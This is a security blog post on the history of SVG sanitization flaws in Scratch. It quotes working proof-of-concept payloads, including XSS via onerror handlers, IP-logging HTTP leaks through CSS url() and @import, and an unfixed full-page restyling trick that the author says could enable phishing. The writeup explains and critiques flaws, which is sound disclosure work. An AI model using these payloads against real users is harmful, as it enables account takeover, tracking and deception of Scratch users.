Pangram verdict · v3.3
We believe that this document is fully human-written
AI likelihood · overall
HumanArticle text · 1,504 words · 6 segments analyzed
Scratch has a long history of SVG-related vulnerabilities. The source of these is that Scratch parses user-generated (ie. attacker-controlled) content into an <svg> element and appends it into the main document for various operations (eg. measuring SVG bounding box in a more reliable way than viewbox or width/height).No matter how briefly the SVG remains in the main document, this is an inherently unsafe operation. Scratch's approach to making this safe has been to build increasingly complex infrastructure around parsing the SVG and the markup within to remove dangerous parts.I think Scratch's approach to SVG sanitization is doomed. To explain, we have to take a trip through the history of SVG sanitization in Scratch to see how well it has worked so far.2019: XSS via <script> tagIn 2019, a few months after the initial release of Scratch 3, Scratch discovered that SVGs can contain <script> tags that Scratch would cause to be executed when the SVG loads. This is known as an XSS.In Scratch terms, an XSS allows an attacker to take actions on behalf of anyone that loads their project. For example, the attacker can post comments, delete projects, or otherwise try to take over the victim's account. In Scratch Desktop, XSS is elevated to arbitrary code execution because Scratch Desktop enables Electron's dangerous Node.js integration feature. (TurboWarp Desktop has not enabled that feature since v0.2.0 from March 2021)Example from Scratch's test suite:<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[ alert('from the svg!') ]]></script> </svg>This was fixed by using a regular expression to remove script tags.
Surely, with this change, SVGs are now fully safe and will require no further security fixes.2020: XSS via oversights in previous fix (CVE-2020-27428)In 2020, apple502j discovered that XSS is still possible. It turns out that the previous fix is utterly defective and can be bypassed by capitalizing <SCRIPT> because the regex is case-sensitive, among several other ways to bypass it. Even if the regex were implemented correctly, it would still not work because there are other ways to embed JavaScript in an SVG. For example, one can use an inline event handler:<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>This was fixed by using DOMPurify to remove scripts from the SVG before scratch-svg-renderer appends it into the document.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2022: HTTP leak via <image> hrefIn 2022, it was discovered that using the href property on an <image> element, an attacker can create an SVG that will invoke an external request when it is loaded. It turns out that while DOMPurify removes executable code, it does not protect against HTTP leaks because "there are too many ways of doing that and our tests showed that it cannot be done reliably".In Scratch terms, an HTTP leak means that a Scratch user can log the IP of anyone that loads their project, possibly revealing information such as location or school district. The victim would not need to click on any links; the IP log happens just by loading the project. Scratch seems to consider this a security bug, and I agree.
Example:<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/ping"/> </svg>This was fixed by adding DOMPurify hooks to remove href properties from all elements if the URL refers to a remote website.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2023: HTTP leak via CSS @importIn 2023, it was discovered that using a CSS @import statement inside of a <style> element, an attacker could create a project that invokes external requests when the project loads. Example:<svg xmlns="http://www.w3.org/2000/svg"> <style> @import url("https://example.com/ping"); </style> </svg>This was fixed by integrating a CSS parser written in JavaScript to remove dangerous parts of the CSS. They would parse all stylesheets contained in SVGs, remove any @import statements, and convert the CSS back to a string if any changes were made so that the dangerous stuff is removed.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2024: XSS via Paper.jsIn 2024, I discovered an XSS in Paper.js, a library Scratch uses in the costume editor. It turns out that while Scratch sanitized SVGs before working on them in scratch-svg-renderer, unsanitized SVGs were still being passed to Paper.js. This has largely the same impact as the 2020 scratch-svg-renderer XSS, but occurs when using the costume editor instead of when initially opening a project. Example:<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any
invalid URL" onerror="alert(1)" /> </foreignObject> </svg>This was somewhat fixed on an extremely delayed timeline by extending the existing SVG sanitization code to run when loading an SVG, not just when processing it in scratch-svg-renderer. This means that Paper.js will only receive SVGs that have already been sanitized.I say "somewhat fixed" because I'm not sure if that sanitization ever runs for server-downloaded SVGs. Scratch support told me they "have protections against this that are handled on our server side" which may make that redundant. I have never seen any evidence of such protections while developing proof-of-concepts, but maybe they are real.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2025: HTTP leak via CSS url()In 2025, it was discovered that using url() inside of certain CSS rules, an attacker can create an SVG that will invoke an external request when it is loaded. Examples:<svg xmlns="http://www.w3.org/2000/svg"> <!-- inline style --> <rect style="background-image: url(https://example.com/ping)" />
<!-- can also use a <style> element --> <style> .img { background-image: url("https://example.com/ping"); } </style> <rect class="img" /> </svg>This was fixed by substantially expanding the SVG sanitization code to also search for any usage of url() and remove any styles or attributes referencing external URLs.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2026: HTTP leak via several bugs in the previous codeIn 2026, it was discovered that using url() inside of certain CSS rules, it is still possible for an attacker to create an SVG that will invoke an external request when it is loaded.
It turns out there were at least three unique bugs that each allowed an HTTP leak: Did not account for CSS allowing one to write out url(...) using escape codes Did not handle a style attribute having more than one url(...) inside it, where the first one is safe but the second one is not Did not handle url() defined in a CSS variable and referenced via var(--name) Examples:<svg xmlns="http://www.w3.org/2000/svg"> <circle fill="\75\72\6c(https://example.com/ping)" /> <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" /> <style> :root { --example: url(https://example.com/ping); } .img { background-image: var(--example); } </style> <rect class="img" /> </svg>This was fixed by adding a substantial amount of additional complexity around code that was already way too complex.Surely, with this change, SVGs are now fully safe and will require no further security fixes.2026: Full page restyling via long transitionsIn 2026, it was discovered that through clever use of very long transitions and forcing the browser to restyle all elements, an attacker can apply arbitrary styles to the full Scratch page that last until refresh. Most uses of this have been "fun" things, but here's a few ideas about more evil things you might be able to do: Hiding the report button. Making the like/favorite buttons cover the entire page, so that users are tricked into clicking them. Display text telling the user that they need to open a website in a new tab to "verify" their account (some phishing page). Users are likely to trust the instructions because the message is coming from the real scratch.mit.edu. Example project (not mine): https://scratch.mit.edu/projects/1299571218/This will probably get fixed at some point, but today what you'll see is this:This project uses two SVGs.
The first one is the "trigger":<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Trigger </text>
<style> /* Force browser to recalc styles to activate first SVG */ *, * *, * * *, * * * * { transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important; transition: all 9999s ease !important; filter: blur(0px) !important; } </style> </svg>The second one contains the styles to display:<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Styles </text>
<style> /* Global background blue */ * { background-color: blue !important; color: white !important; }
/* Project instructions/description styling */ .project-description, .instructions-container { background-color: yellow !important; color: black !important; border: 10px solid red !important; transform: scale(1.1) !important; } </style> </svg>I won't pretend to fully understand what's going on here or why it works non-deterministically, but my general understanding is: The trigger SVG applies transform and filter to every element in the document to forcibly make the browser recompute all styles right away, applying styles from the other SVG. The trigger SVG applies a very long transition so that when the other SVG is removed, the styles will stick around for the duration of the "transition" This is not fixed.